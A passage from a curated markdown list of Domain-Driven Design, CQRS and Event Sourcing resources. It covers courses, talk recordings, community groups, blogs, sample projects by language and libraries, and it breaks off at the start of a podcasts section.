Class](http://subscriptions.viddler.com/GregYoung/) - These videos include the entirety of Greg Young's DDD, CQRS, and Event Sourcing class. - [Mixter](https://github.com/DevLyon/mixter) - CQRS and Event Sourcing Koans. - [Nomad PHP](https://nomadphp.com/product/introduction-event-sourcing-cqrs/) - Introduction to Event Sourcing and CQRS. - [Pluralsight](https://pluralsight.com) - [Domain-Driven Design Fundamentals](https://www.pluralsight.com/courses/domain-driven-design-fundamentals) - Teaches the fundamentals of Domain-Driven Design (DDD) through a demonstration of customer interactions and a complex demo application, along with advice from Eric Evans. - [Domain-Driven Design in Practice](https://www.pluralsight.com/courses/domain-driven-design-in-practice) - A descriptive, in-depth walk-through for applying Domain-Driven Design principles in practice. - [Modern Software Architecture: Domain Models, CQRS, and Event Sourcing](https://www.pluralsight.com/courses/modern-software-architecture-domain-models-cqrs-event-sourcing) - This course covers DDD analysis patterns helpful in discovering the top-level architecture of a business domain. Architects and developers will find details of implementation patterns such as Domain Model, CQRS, and Event Sourcing. - [Rails + Domain Driven Design Workshop](https://blog.arkency.com/ddd-training/) - Introduction to DDD, fundamentals of CQRS & Event Sourcing for Ruby/Rails developers. - [Reactive Architecture: CQRS and Event Sourcing](https://cognitiveclass.ai/courses/reactive-architecture-cqrs/) - This course will discuss the reasons we use CQRS/ES, what benefits it provides us, but also what it will cost us to use. We will see how CQRS/ES can impact the scalability, consistency, and availability of our application. - [Reactive Architecture: Domain Driven Design](https://cognitiveclass.ai/courses/reactive-architecture-ddd/) - Use DDD to decompose a problem domain into manageable parts. Learn how those parts can become the foundation of Reactive Microservices and Reactive Architecture. Free, online, self-paced. Certificate offered upon completion. - [Spatie's Event Sourcing Course](https://spatie.be/products/event-sourcing-in-laravel) - Learn how to build event sourced applications in Laravel using Spatie's event-sourcing package. Has 2 hours of video content and an accompanying ebook. ## Video Collections - [DDD Europe](https://dddeurope.com/videos) - Recordings of talks given at DDD Europe. - [SkillsCasts by SkillsMatter](https://skillsmatter.com/skillscasts) - Searching DDD returns various talks given by Greg Young, Alberto Brandolini, and Dan North, etc. - [Alberto Brandolini: Event Storming](https://www.youtube.com/watch?v=veTVAN0oEkQ&list=PLve553MhJLs4YkEnHmOjWJv0B-6WY0-JI) - A YouTube collection of talks given by Alberto Brandolini on Event Storming. - [GlobalAppTesting TechTalks](https://vimeo.com/showcase/gatengineering) - A vimeo channel focused on DDD and CQRS. - [Greg Young](https://www.youtube.com/watch?v=JHGkaShoyNs&list=PL5XpN_ZVafKLePdxruDfdfi-IiZtXz-k9) - A YouTube collection of various talks given by Greg Young. - [Explore DDD videos](https://www.youtube.com/channel/UCcpKGt6MVvz7dISXLlMGmag) - Recordings of the talks given at the Explore DDD conference. - [KanDDDinsky](https://www.youtube.com/channel/UCJCpnslPdb_Dl8DKokXC3HA) - A YouTube collection of talks given at KanDDDinsky. - [Virtual Domain-driven design](https://www.youtube.com/channel/UCob_jOzzpxBp-di-x0vLlwA) - A youtube collection of recorded meetups session from Virtual Domain-driven design - [The Art of Discovering Bounded Contexts by Nick Tune](https://www.youtube.com/watch?v=ez9GWESKG4I) - Session from 2017 DevoxxUK on how to define bounded contexts ## Community Resources - [DDD/CQRS Google Group](https://groups.google.com/forum/?utm_source=digest&utm_medium=email#!forum/dddcqrs) - An active mailing list and an excellent resource to ask questions and learn fine-grained details about DDD/CQRS. - [DDD-es Google Group](https://groups.google.com/g/ddd-es) - The Google Group to discuss Domain-Driven Design in Spanish. - [DDDinPHP Google Group](https://groups.google.com/forum/#!forum/dddinphp) - The place to discuss Domain-Driven Design, CQRS, Event Sourcing, Model Storming, Hexagonal Architecture, Distributed Systems, Reactive... in the context of PHP. - [EventStorming Google Group](https://groups.google.com/g/eventstorming) - The Google Group to discuss EventStorming. - [DDD in Ruby subreddit](https://www.reddit.com/r/ddd_ruby/) - A subreddit for Ruby developers interested in Domain-Driven Design. - [DDD/CQRS/ES Discord](https://github.com/ddd-cqrs-es/community) - A Discord (old Slack) team for those who want to chat about Domain-Driven Design, CQRS, Event Sourcing and sometimes random things. Main channel is language and framework agnostic. - [Domain StoryTelling Discord](https://discord.gg/KsYaHNNn33) - A Discord team about Domain StoryTelling (#domain-storytelling channel) by [@hofstef](https://twitter.com/hofstef). The homepage is at [domainstorytelling.org](http://domainstorytelling.org/). - [Software Engineering Stack Exchange](http://softwareengineering.stackexchange.com/questions/tagged/domain-driven-design) - Software Engineering Stack Exchange questions tagged *domain-driven-design*. - [Code Review Stack Exchange](http://codereview.stackexchange.com/questions/tagged/ddd) - Code Review Stack Exchange questions tagged *domain-driven-design*. - [Stack Overflow](https://stackoverflow.com/questions/tagged/domain-driven-design) - Stack Overflow questions tagged *domain-driven-design*. - [Advanced Topics in Event Sourcing / CQRS / DDD](https://github.com/sebastianharko/adv-es-cqrs-ddd) - Advanced Topics in Event Sourcing / CQRS / DDD list compiled and maintaned by @[sebastianharko](https://github.com/sebastianharko). - [Quora](https://www.quora.com/topic/Domain-Driven-Design-DDD) - Questions tagged *domain-driven-design*. - [wolkenkit Slack](http://slackin.wolkenkit.io/) - A Slack team on DDD, event-sourcing, CQRS and wolkenkit. - [Awesome Event Storming](https://github.com/mariuszgil/awesome-eventstorming) - awesome list that focuses only on Event Storming. - [Awesome Domain Storytelling](https://github.com/hofstef/awesome-domain-storytelling) - awesome list that focuses only on Domain Storytelling. - [Virtual Domain-driven design community](https://virtualddd.com) - Online meetups with panel discussions, online collaborations and resource sharing. - [Domain-driven design heuristics](https://www.dddheuristics.com/) - Domain-Driven Design Heuristics is a community driven site to document and discuss about Design Heuristics. - [Domain-Driven Design in dynamic languages GitHub](https://github.com/valignatev/ddd-dynamic) - GitHub's profile of Domain-Driven Design in dynamic languages. - [Domain-Driven Design Crew GitHub](https://github.com/ddd-crew) - GitHub's profile of Domain-Driven Design Crew. - [Context Mapping by ddd-crew](https://github.com/ddd-crew/context-mapping) - Context Mapping Cheatsheet and Starter Kit by ddd-crew. ## Blogs - [Nick Chamberlain](https://buildplease.com) - Helpful development and design advice for .NET developers. - [Ardalis.com](https://ardalis.com/blog) - Steve Smith. Pluralsight author and author of [DDD Fundamentals](https://www.pluralsight.com/courses/domain-driven-design-fundamentals) course and Microsoft [eShopOnWeb sample app](https://github.com/dotnet-architecture/eShopOnWeb). - [DDD Weekly](http://dddweekly.com) - Weekly curated links related to DDD/CQRS/ES. - [Daniel Whittaker](http://danielwhittaker.me) - Want to learn about CQRS and Event Sourcing? This blog is packed with step-by-step articles to give you a head start. - [Cyrille Martraire](http://cyrille.martraire.com) - Being so immersed in finance while still in love with programming, I’m naturally a big fan of Domain-Driven Design by Eric Evans, along with TDD, BDD and agile/XP practices. - [Jimmy Bogard](https://lostechies.com/jimmybogard/) - I focus on DDD, distributed systems, and any other acronym-centric design/architecture/methodology. - [CodeBetter](http://codebetter.com) - CodeBetter.Com exists in order to help foster awareness of better practices, superior tools, proven methodologies and techniques within the software development community. - [Greg Young](https://goodenoughsoftware.net/) - Good Enough Software is By Definition Good Enough. - [InfoQ Blog](https://www.infoq.com/domaindrivendesign/) - Domain-Driven Design Content on InfoQ. - [Dan North](https://dannorth.net/blog/) - Inventor of Behavior-Driven Design. Blogs and talks about Event Storming also. - [Mike Mogosanu](http://blog.sapiensworks.com) - Maintainable code is a business advantage. Creator of Domain Map: The Domain Modeling Tool - Easy And Powerful Domain Driven Design. - [Christian Posta](http://blog.christianposta.com) - Principal Middleware Architect @ Red Hat, open-source enthusiast, committer @ Apache, Cloud, Integration, Kubernetes, Docker, OpenShift, Fabric8. - [Vladimir Khorikov](http://enterprisecraftsmanship.com) - Pluralsight author. Blogs about software development principles and best practices. - [TechBeacon](http://techbeacon.com/) - Articles on TechBeacon tagged *domain driven design*. - [Derek Comartin](http://codeopinion.com) - Articles under the category *Domain Driven Design*. - [Alberto Brandolini](https://ziobrando.blogspot.it) - Inventor of Event Storming. Asserting that problems cannot be solved with the same mindset that originated them, Alberto switches perspective frequently assuming the architect, mentor, coach, manager or developer point of view. - [Jérémie Chassaing](http://thinkbeforecoding.com/) - Various articles about DDD/CQRS. Implemented Greg Young's SimpleCQRS sample in F#. - [Vaughn Vernon](https://vaughnvernon.co) - Vaughn Vernon understands the unique demands of software development and the challenges you face as you improve your craft in a fast-paced industry. - [Vladik Khononov](http://vladikk.com/) - Various DDD-related articles. - [Eventsourcing Publications](https://blog.eventsourcing.com) - Practical event sourcing. - [Jef Claes](http://www.jefclaes.be/) - Excellent articles and talks on Domain-Driven Design. - [Udi Dahan](http://udidahan.com/articles/) - From the creator of NServiceBus. - [Chris Patterson](https://lostechies.com/chrispatterson/) - From the creator of the MassTransit distributed application framework. - [Aaron Stannard](http://www.aaronstannard.com/) - From the CTO and co-founder of Petabridge, developers of the Akka.NET Actor Model framework. - [Roger Johansson](https://rogeralsing.com/) - Mostly C#, DDD, and Akka.NET. - [Konrad Garus](http://squirrel.pl/blog/) - Ranting and Programming in Java, Clojure, and JavaScript. Articles tagged under *cqrs*. - [Oasis Digital](http://blog.oasisdigital.com/category/cqrs/) - Content by Oasis Digital tagged under *cqrs*. - [Adaptech](http://adaptechsolutions.net/blog/) - Adaptech Solutions blog. Our founder, Adam Dymitruk, debated the merits of CQRS with Greg Young before Greg coined the term. Adam and business partner Robert Reppel are among the leading practitioners of event-sourced microservices. - [Lev Gorodinski](http://gorodinski.com/) - Several articles about DDD from 2013, which are still relevant. - [Dino Esposito](https://software2cents.wordpress.com/) - Software architect, trainer, book author. Author of [Microsoft .NET - Architecting Applications for the Enterprise (2nd Edition)](https://www.amazon.com/Microsoft-NET-Architecting-Applications-Enterprise/dp/0735685355/). - [Dan Bergh Johnsson "Dear Junior"](http://dearjunior.blogspot.se/search/label/domain%20driven%20design) - Domain-Driven Design mixed with security, and agile in general. Written as fictional letters to a younger programmer. - [the native web](https://www.thenativeweb.io/blog/2017-10-25-09-46-ddd-and-co-part-1-whats-wrong-with-crud/) - DDD & Co. series - [Arkency](https://blog.arkency.com/) - Various DDD, CQRS, Event Sourcing related articles from Ruby experts. - [Svaťa Šimara](http://svatasimara.cz/) - DDD series - language, domain, modeling, infrastructure, implementation in PHP - [Martin Havlišta](https://xhafan.com/blog/) - DDD, CQRS, TDD blog posts with code samples in C# .NET - [Khalil Stemmler](https://khalilstemmler.com/articles/categories/domain-driven-design) - DDD series introduction and talk about how to implement DDD with TypeScript - [Kenny Baas-Schwegler](https://baasie.com/) - DDD, BDD, Socio-technical, EventStorming and continuous delivery blogs. - [João Rosa](https://joaorosa.io) - Personal blog about Domain-Driven Design, Visual Collaboration, leadership and organisational design. And other things in between. Curator of [Visual Collaboration Tools](https://leanpub.com/visualcollaborationtools/) and host of the [Software Crafts Podcast](https://www.softwarecraftspodcast.com/) - [GlobalAppTesting engineering](https://gat.engineering) - GlobalAppTesting's engineering blog with materials on practical DDD and CQRS. ## Sample Projects ### GO - [BDD in GO](https://github.com/JankariTech/bsDateServer) - Sample app demonstrating the use of Cucumber + GO for a BDD testing approach. Blog post can be found [here](https://dev.to/jankaritech/demonstrating-bdd-behavior-driven-development-in-go-1eci). - [Citerus DDD Sample App GO Port](https://github.com/marcusolsson/goddd) - This is an attempt to port the [DDD Sample App](https://github.com/citerus/dddsample-core) to idiomatic Go. It can be run in a dockerized mode for previewing the application. - [DDD by Refactoring](https://github.com/ThreeDotsLabs/wild-workouts-go-ddd-example) - Complete serverless application to show how to apply DDD, Clean Architecture, and CQRS by practical refactoring of a Go project. A full blog series about it can be found at <https://threedots.tech/>. - [DDD Food App](https://github.com/victorsteven/food-app-server) - Sample DDD application implementing the 4 layers (Domain, Infrastructure, Application and Interface) and considering two domain patterns. There's a blog article written for it [here](https://dev.to/stevensunflash/using-domain-driven-design-ddd-in-golang-3ee5). - [DDD Sample in GO](https://github.com/takashabe/go-ddd-sample) - Just another sample application implementing the four layers of DDD. - [Evolutive CRUD API](https://github.com/friendsofgo/gopherapi) - API implementation with full CRUD using a SOLID, Hexagonal Architecture. There is a series of blog post written for it at <https://blog.friendsofgo.tech/>. - [Simple Hexagonal Architecture PoC API](https://github.com/tomiok/patients-API) - PoC for a patients API using the hexagonal architecture pattern. ### .NET (C#/F#) - [Better code with DDD building blocks](https://github.com/asc-lab/better-code-with-ddd) - solution presents usage of DDD tactical patterns to achieve better readability and expressiveness of the code. Applying DDD patterns together with ubiquitous language closes the gap between language spoken by experts and the team and language used in the code. - [CQRS-DDD Example](https://github.com/dcomartin/DDD-CQRS-ES-Example) - Domain Driven Design, CQRS, & Event Sourcing Example using GetEventStore, CommonDomain, NServiceBus, Entity Framework, SQL Server, SignalR. - [Companion Code for Microsoft .NET Architecting Applications for the Enterprise](https://github.com/mastreeno/Merp) - An event based Micro ERP. - [ContosoUniversityCore](https://github.com/jbogard/ContosoUniversityCore) - ContosoUniversity on ASP.NET Core with Full .NET Framework. - [DDD-starter-dotnet](https://github.com/itlibrium/DDD-starter-dotnet) - Sample implementation and comparison of various approaches to building DDD applications. Useful as a baseline to quickly start a DDD .net project. - [DDDInventoryItemFSharp](https://github.com/eulerfx/DDDInventoryItemFSharp) - An idiomatic F# implementation of Domain-Driven Design - [DDDSkeletonNet](https://github.com/andras-nemes/DDDSkeletonNet) (C#) - a .NET skeleton project to introduce the concepts of Domain Driven Design and loosely coupled layers. - [DotNet CQRS Intro](https://github.com/asc-lab/dotnet-cqrs-intro) - Examples of implementation CQRS with Event Sourcing - evolutionary approach (no CQRS, separate models and commands with the same model, separate models and commands with separate models, separate storage engines, event sourcing). - [EISK](https://github.com/eisk) - .NET CLI and VS Templates with simple use cases to build scalable applications on top of .net core with architectural best practices (DDD, onion architecture etc). - [EmailMaker](https://github.com/xhafan/emailmaker) - Email marketing ASP.NET Core MVC and ASP.NET MVC demo app demonstrating [CoreDdd](https://github.com/xhafan/coreddd) usage - [Equinox Project](https://github.com/EduardoPires/EquinoxProject) - Full ASP.NET Core 3.1 application with Clean Architecture, DDD, CQRS and Event Sourcing concepts - [eShopOnWeb](https://github.com/dotnet-architecture/eShopOnWeb) - Full ASP.NET Core 3.1 reference application from Microsoft showing monolithic deployment architecture - [eShopOnContainersDDD](https://github.com/volak/eShopOnContainersDDD) - eShop fullstack example featuring catalog, basket, checkout, and order bounded contexts - [Example of Domain-Driven Design in F#](https://gist.github.com/swlaschin/2ad8627d0400b2ab70e9f3da08902c9d) - Example of Domain Driven Design for the game of checkers. There are two files: a scratch file with a series of designs, and a final version. - [Event Sourcing .NET](https://github.com/oskardudycz/EventSourcing.NetCore) - samples and resources about Event Sourcing and CQRS in .NET. Contains also a self-paced kit of how to built own Event Store - [EventFlow.Example](https://github.com/OKTAYKIR/EventFlow.Example) - DDD, CQRS, and Event-Sourcing example and contains following technology stack: [EventFlow](https://github.com/eventflow/EventFlow), [EventStore](https://eventstore.com), [RabbitMQ](https://www.rabbitmq.com), [MongoDB](https://www.mongodb.com), [PostgreSQL](https://www.postgresql.org), [Docker](https://www.docker.com) - [Fohjin](https://github.com/MarkNijhof/Fohjin) - Example project that accompanies Mark Nijhof's [CQRS](https://leanpub.com/cqrs) book. - [FsUno](https://github.com/thinkbeforecoding/FsUno) - Event sourcing implementation sample in F#. - [IDDD Samples in .NET](https://github.com/VaughnVernon/IDDD_Samples_NET) - These are the sample Bounded Contexts for C#.NET from the book "Implementing Domain-Driven Design" by Vaughn Vernon. - [Microsoft Patterns and Practices: CQRS Journey Sample Code](https://github.com/mspnp/cqrs-journey) - Sample code from CQRS Journey. - [Modular Monolith](https://github.com/kgrzybek/modular-monolith-with-ddd) - Full Modular Monolith .NET application with Domain-Driven Design approach. - [NLayerAppV3](https://github.com/cesarcastrocuba/nlayerappv3) (.Net Core Preview 2) - a N-Layered Architecture Sample Project. - [Photostock CQRS-DDD Example](https://github.com/mr0zek/Photostock) - [Reactive Trader Cloud](https://github.com/AdaptiveConsulting/ReactiveTraderCloud) - Reactive Trader Cloud by Adaptive Consulting. - [Sample .NET Core CQRS REST API](https://github.com/kgrzybek/sample-dotnet-core-cqrs-api) - .NET Core REST API CQRS implementation with raw SQL and DDD using Clean Architecture. - [Scritchy](https://github.com/ToJans/Scritchy) - CQRS without the Plumbing, [video](http://www.youtube.com/watch?v=5DKTFZD3hu8). - [Simple CQRS in F#](https://github.com/thinkbeforecoding/m-r) - Greg Young's SimpleCQRS in F#. - [SimpleCQRS](https://github.com/gregoryyoung/m-r) - Greg Young's "Simplest Thing" CQRS with Event Sourcing project. - [TaskoMask](https://github.com/hamed-shirbandi/TaskoMask) - Task management system based on .NET Core with DDD, CQRS and Event Sourcing Concepts. - [TodoMVC-DDD-CQRS-EventSourcing](https://github.com/volak/TodoMVC-DDD-CQRS-EventSourcing) - Implementation of basic Todo app via tastejs/todomvc in C#/Typescript with eventsourcing, cqrs, and domain driven design ### Haskell - [Eventuria gsd](https://github.com/Eventuria/gsd) - Haskell todo list reactive application with DDD, CQRS and Event Sourcing, FRP. ### Idris - [OrderTaking](http://github.com/andorp/order-taking) - Dependently typed implementation of the Domain Modeling Made Functional book. An example project how to formalize Bounded Context and Workflow diagram with dependent types. A NodeJS deployable demo. ### JavaScript / TypeScript - [wolkenkit Sample Applications](https://docs.wolkenkit.io/latest/media/sample-applications/wolkenkit-boards/) - A collection of DDD sample applications, such as TodoMVC, a geocaching app, collaborative boards etc. - [Booster framework examples](https://github.com/boostercloud/booster/tree/master/docs/examples) Example applications built with Booster Framework. - [Over-engineered ToDo app](https://github.com/bitloops/ddd-hexagonal-cqrs-es-eda) - Complete working example of using Domain Driven Design (DDD), Hexagonal Architecture, CQRS, Event Sourcing (ES), Event Driven Architecture (EDA), Behaviour Driven Development (BDD) using TypeScript and NestJS generated using the [Bitloops Language (BL)](https://github.com/bitloops/bitloops-language). ### JVM languages - [Akka CQRS ES Demo](https://github.com/mdonkers/akka-cqrs-es-demo) - Demo project to implement the CQRS and Event Sourcing patterns in Scala-Akka. - [DDD By Examples - Library](https://github.com/ddd-by-examples/library) - sample project of a library driven by real business requirements. Modular monolith implemented with the help od DDD, BDD, EventStorming, Example Mapping, CQRS, and more. - [DDD Leaven](https://github.com/BottegaIT/ddd-leaven-v2) - DDD-CQRS sample v2.0 project that helps you with starting out advanced domain modeling using Spring, JPA and testing. - [DDD Workshop - Project Manager](https://github.com/mkopylec/project-manager) - "Do It Yourself" DDD workshop and a sample DDD application at the same time. Based on a project managing domain. - [Event Sourcing Example](https://github.com/Pragmatists/eventsourcing-java-example) - A simplified (in memory) example of Event Sourcing and CQRS implementation for Java code (modeled for banking domain use cases). - [Event Sourcing and CQRS Examples](https://github.com/andreschaffer/event-sourcing-cqrs-examples) - A pragmatic application of Event Sourcing and CQRS in Java with good references for common related problems, e.g. event ordering and idempotency. - [Event Sourcing and CQRS Sample](https://github.com/pilloPl/event-source-cqrs-sample) - Sample event sourced application with Command Query Responsibility Segregation - [IDDD Samples](https://github.com/VaughnVernon/IDDD_Samples) - These are the sample Bounded Contexts from the book "Implementing Domain-Driven Design" by Vaughn Vernon. - [Java CQRS Intro](https://github.com/asc-lab/java-cqrs-intro) - Examples of implementation CQRS with Event Sourcing - evolutionary approach (no CQRS, separate models and commands with the same model, separate models and commands with separate models, separate storage engines, event sourcing). - [Kotlin DDD Sample](https://github.com/fabriciorissetto/kotlin-ddd-sample) - Sample DDD/CQRS project written in Kotlin. - [EventStormingWorkshop - Designing Cloud Native Microservices On AWS](https://github.com/humank/EventStormingWorkShop/) - A concrete sample to go through EventStorming workshop and implement DDD tactical design pattern in Java, apply AWS cloud native services to build up business Event based Coffeeshop scenario. - [DDDSample](https://github.com/citerus/dddsample-core) - Sample DDD project using Spring Boot (originally hosted in http://dddsample.sourceforge.net/) - [Eclipse CargoTracker](https://eclipse-ee4j.github.io/cargotracker/) - This project demonstrates how you can develop applications with the Jakarta EE platform using widely adopted architectural best practices like Domain-Driven Design (DDD). [The code](https://github.com/eclipse-ee4j/cargotracker/) is intended to mirror a non-trivial application that developers in the real work would work on. It attempts to demonstrate first-hand how you can use Jakarta EE to effectively meet practical enterprise concerns such as productivity, agility, testability, flexibility, maintainability, scalability and security. The project is directly based on the well known original [Java DDD sample application](https://github.com/citerus/dddsample-core) developed by DDD pioneer Eric Evans' company Domain Language and the Swedish software consulting company Citerus. - [https://github.com/felipexw/clean-arch-ddd-intro](https://github.com/felipexw/clean-arch-ddd-intro) - Simple DDD + Clean Architecture using Micronaut. ### PHP - [DDD CQRS Todo Sample](https://github.com/ferrius/ddd-cqrs-example) - DDD CQRS ADR hexagonal architecture implementation built with PHP 7 and Symfony 5. - [DDD Wish List](https://github.com/franzose/symfony-ddd-wishlist) - A sample application in PHP built with Symfony 3 and Vue.js. - [DDD Playground](https://github.com/jorge07/ddd-playground/) - Sample implementation in PHP. - [Eric Evans DDD Cargo Sample](https://github.com/codeliner/php-ddd-cargo-sample) - PHP 7 Version of the cargo sample used in Eric Evans DDD book - [Shop Cart in PHP](https://github.com/simara-svatopluk/cart) - Sample project that demonstrates how simple shop cart can look like. Domain objects,Doctrine integration.,TDD,layers,unit testing - [Symfony 5 DDD ES CQRS backend](https://github.com/jorge07/symfony-5-es-cqrs-boilerplate) - DDD, CQRS and Event Sourcing app using Symfony and PHP 8. ## Libraries and Frameworks ### GO - [Ginkgo](https://github.com/onsi/ginkgo) - Ginkgo builds on Go's testing package, allowing expressive Behavior-Driven Development ("BDD") style tests. - [GOBDD](https://github.com/go-bdd/gobdd) - Small BDD framework for GO. - [GoConvey](https://github.com/smartystreets/goconvey) - Go testing in the browser. Integrates with `go test`. Write behavioral tests in Go. - [Godog](https://github.com/cucumber/godog) - Package godog is the official Cucumber BDD framework for Golang, it merges specification and test documentation into one cohesive whole, using Gherkin formatted scenarios in the format of Given, When, Then. ### .NET - [Aggregates.NET](https://github.com/volak/Aggregates.NET) - .NET event sourced domain driven design model via NServicebus and GetEventStore. - [AggregateSource](https://github.com/yreynhout/aggregateSource) - Lightweight infrastructure for doing eventsourcing using aggregates. - [Akka.NET](http://getakka.net/) - Akka.NET is a toolkit and runtime for building highly concurrent, distributed, and fault tolerant event-driven applications on .NET & Mono. - [ABP](https://abp.io) - Successor of ASP.NET Boilerplate - ASP.NET Core based application framework to create NLayered, Domain Driven Designed web applications with a microservice focused modular architecture - [ASP.NET Boilerplate](http://aspnetboilerplate.com/) - ASP.NET MVC, Web API and ASP.NET Core based application framework to create NLayered, Domain Driven Designed web Applications implementing best practices. - [ByValue](https://github.com/sm-g/ByValue) - This library helps to create ValueObjects (even with collection properties) with properly implemented equality behavior. - [Cedar.CommandHandling](https://github.com/damianh/Cedar.CommandHandling) - Middleware to handling commands over HTTP; typically used in CQRS applications. - [Cirqus](https://github.com/d60/Cirqus) - d60 event sourcing + CQRS framework. - [CommandQuery](https://github.com/hlaueriksson/CommandQuery) - Command Query Separation for 🌐ASP.NET Core ⚡AWS Lambda ⚡Azure Functions ⚡Google Cloud Functions 🌐ASP.NET Web API 2 - [CoreDdd](https://github.com/xhafan/coreddd) - Set of open-source .NET libraries helping with DDD and CQRS, with NHibernate persistence - [CQRS on Azure](https://github.com/MerrionComputing/CQRSAzure) CQRS on Windows Azure. - [Dolittle](https://dolittle.com) - Build better applications with Dolittle. An Event Sourced, Microservice platform oriented around DDD with developer productivity and simplicity front and center. - [Edument CQRS and Intentful BDD Testing Starter Kit](https://www.cqrs.nu/) - Library and tutorial for how to build CQRS/ES applications, including a BDD style testing framework. - [EventFlow](https://github.com/eventflow/EventFlow) - Async/await first CQRS+ES and DDD framework for .NET http://geteventflow.net/. - [Core.EventStore](https://github.com/younos1986/Core.EventStore) - A library to facilitate communication between CommandService and QueryService. The Idea is when any event occures in commandService, it should be persisted in QueryService in MongoDb. - [Its.Cqrs](https://github.com/jonsequitur/Its.Cqrs) - A set of libraries for CQRS and Event Sourcing, with a Domain-Driven Design flavor. - [Marten](https://github.com/JasperFx/marten) - Postgresql as a Document Database and Event Store for .Net Applications. - [MassTransit](https://github.com/MassTransit/MassTransit) - Distributed Application Framework for .NET. - [MediatR](https://github.com/jbogard/MediatR) - Supports request/response, commands, queries, notifications and events, synchronous and async with intelligent dispatching via C# generic variance. - [MessageRouter](https://github.com/QuickenLoans/MessageRouter) - Described in this video: [The Beating Heart of CQRS, or Actor-Based Message Routing on the CLR](https://vimeo.com/171178586) by Paulmichael Blasucci at the New York F# .NET User Group. - [NetDevPack](https://github.com/netdevpack) - A smart set of common classes and implementations to improve your development productivity using .NET (DDD, CQRS, Specification Pattern, MediatR, Validations, Notifications). - [NEventStore](https://github.com/NEventStore/NEventStore) - A persistence library used to abstract different storage implementations when using event sourcing as storage mechanism. - [NServiceBus](https://github.com/Particular/NServiceBus) - Service bus for .NET. - [Projac](https://github.com/yreynhout/Projac) - Projac is a set of projection libraries that allow you to write projections targetting various backing stores. - [shriek-fx](https://github.com/ElderJames/shriek-fx) - An simple,elegant and useful Domain-Driven Design and CQRS framework developed using .NET Core 2.0. - [SqlStreamStore](https://github.com/damianh/SqlStreamStore) - .NET Stream Store library targeting SQL based implementations. - [Streamstone](https://github.com/yevhen/Streamstone) - Event Store for Azure Table Storage. - [Stringly.Typed](https://github.com/mission202/Stringly.Typed) - Making it easier to convert strings to/from .NET types. - [Xer.Cqrs](https://github.com/jeyjeyemem/Xer.Cqrs) - A simple library for creating applications based on the CQRS pattern with support for attribute routing and hosted handlers. Developed in C# targeting .NET Standard 1.0. ### Databases - [Event Store](https://geteventstore.com) - The open-source, functional database with Complex Event Processing in JavaScript. - [Eventsourcing](https://eventsourcing.com) - Business event capture and querying framework. - [Message DB](https://github.com/message-db/message-db) - Microservice Native Event Store and Message Store for Postgres. A fully-featured event store and message store implemented in PostgreSQL for Pub/Sub, Event Sourcing, Messaging, and Evented Microservices applications. - [Serialized](https://serialized.io) - Complete platform for Event Sourcing & CQRS. ### Elixir - [Commanded](https://github.com/slashdotdash/commanded) - Command handling middleware for CQRS/ES applications, Pure Functional Data Structures for Aggregates and Process Managers, Point-to-Point message routing, and much more in Elixir (Erlang VM) - All in Actor concurrency model. - [Event Bus](https://github.com/otobus/event_bus) - Traceable, extendable and minimalist event bus implementation for Elixir with built-in event store and event watcher based on ETS. - [eventstore](https://github.com/slashdotdash/eventstore) - CQRS event store using PostgreSQL for persistence. ### JavaScript / TypeScript - [cqrs.js](http://cqrs.js.org) - CQRS implementations in node.js. Includes [node-eventstore](https://github.com/adrai/node-eventstore), [node-cqrs-domain](https://github.com/adrai/node-cqrs-domain), [node-eventdenormalizer](https://github.com/adrai/node-cqrs-eventdenormalizer), [node-cqrs-saga](https://github.com/adrai/node-cqrs-saga). - [wolkenkit](https://www.wolkenkit.io/) - A CQRS, DDD, and event-sourcing framework for JavaScript and Node.js. - [Bitloops Language (BL)](https://github.com/bitloops/bitloops-language) - Open-source, 4th-generation, transpiled programming language that helps you write clean code, well-designed systems, and build high-quality software that is testable, auditable and maintainable using DDD and Hexagonal Architecture. - [Booster](https://www.booster.cloud/) - A CQRS, DDD and event-sourcing open-source framework that leverages all the infrastructure and uses high-level abstractions and conventions. It help users build advanved even-driven applications letting them focus on business logic exclusively. - [Node API Boilerplate](https://github.com/talyssonoc/node-api-boilerplate) - NodeJS web API boilerplate for DDD and Clean Architecture applications. ### JVM - [akka-ddd](https://github.com/pawelkaczor/akka-ddd) - Reusable artifacts for building applications on top of the Akka platform following CQRS/DDDD-based approach. - [Apache Isis](https://isis.apache.org/index.html) - Apache Isis is a framework for rapidly developing domain-driven apps in Java. - [Axon Framework](http://www.axonframework.org/) - The axon framework is focused on making life easier for developers that want to create a java application based on the CQRS principles. - [DDDplus framework](https://github.com/funkygao/cp-ddd-framework) - A lightweight flexible development framework for complex business architecture based on DDD. - [JESA](https://github.com/yreynhout/JESA) - Event sourced aggregates for Java. - [Lagom](https://www.lagomframework.com) - The Lagom Framework is a microservices framework for the Java Virtual Machine, with APIs for the Java and Scala languages. It includes an Event Sourcing/CQRS based persistence module. - [SeedStack's Business Framework](http://seedstack.org/docs/business/) - A set of building blocks that enable you to code business logic according to the Domain-Driven Design (DDD) approach. - [Spine Event Engine](https://spine.io/) - a CQRS/ES framework for building cloud applications. Defines Bounded Contexts with their Commands, Events, and Entity states in Protobuf. The backend logic is written in Java, on top of the Proto-generated code. Client code in Java, JS or Dart communicates with the backend via gRPC. ### PHP - [Broadway](https://github.com/broadway/broadway) - Broadway is a (PHP) project providing infrastructure and testing helpers for creating CQRS and event sourced applications. - [Ecotone](http://ecotone.tech) - Enables message driven architecture in PHP and provides building blocks to follow DDD and CQRS principles. ### Python - [Eventsoucing in Python](https://github.com/johnbywater/eventsourcing) - Mature, stable Python library for event sourcing and DDD. Supports wide variety of databases, different kinds of orderings of domain events, application level encryption, snapshotting, optimistic concurrency control, and process events. Applications, and entire systems of applications, can be defined independently of infrastructure, and run in different ways (single threaded, multi-threaded, clocked, stepping, multi-process, actor model) and with different infrastructure. - [dry-python](https://github.com/dry-python) - A set of libraries for pluggable business logic components. - [PyAssimilator](https://github.com/knucklesuganda/py_assimilator/) - Quickly create DDD Python patterns, Event-Based Systems, CRUD applications. Set of Python patterns for database access that support SQLAlchemy, MongoDB, Redis, or Pure Python. PyAssimilator allows you to write code without dependencies, meaning you can switch SQL to NoSQL without changing a single file in your system. ### Ruby - [Eventide](https://eventide-project.org) - Event Sourcing and Microservices Stack for Ruby. A set of libraries for writing event driven, autonomous services. - [Rails Event Store](https://railseventstore.org) - Rails Event Store (RES) is a library for publishing, consuming, storing and retrieving events. It's your best companion for going with an event-driven architecture for your Rails application. ## Podcasts and Interviews - [Deeper into DDD on DotNetRocks with David Real](http://dotnetrocks.com/?show=1151) - 11 June 2015. - [Thinking in DDD on DotNetRocks with Julie Lerman and Steve Smith](http://dotnetrocks.com/?show=1023) - 19 August 2014. - 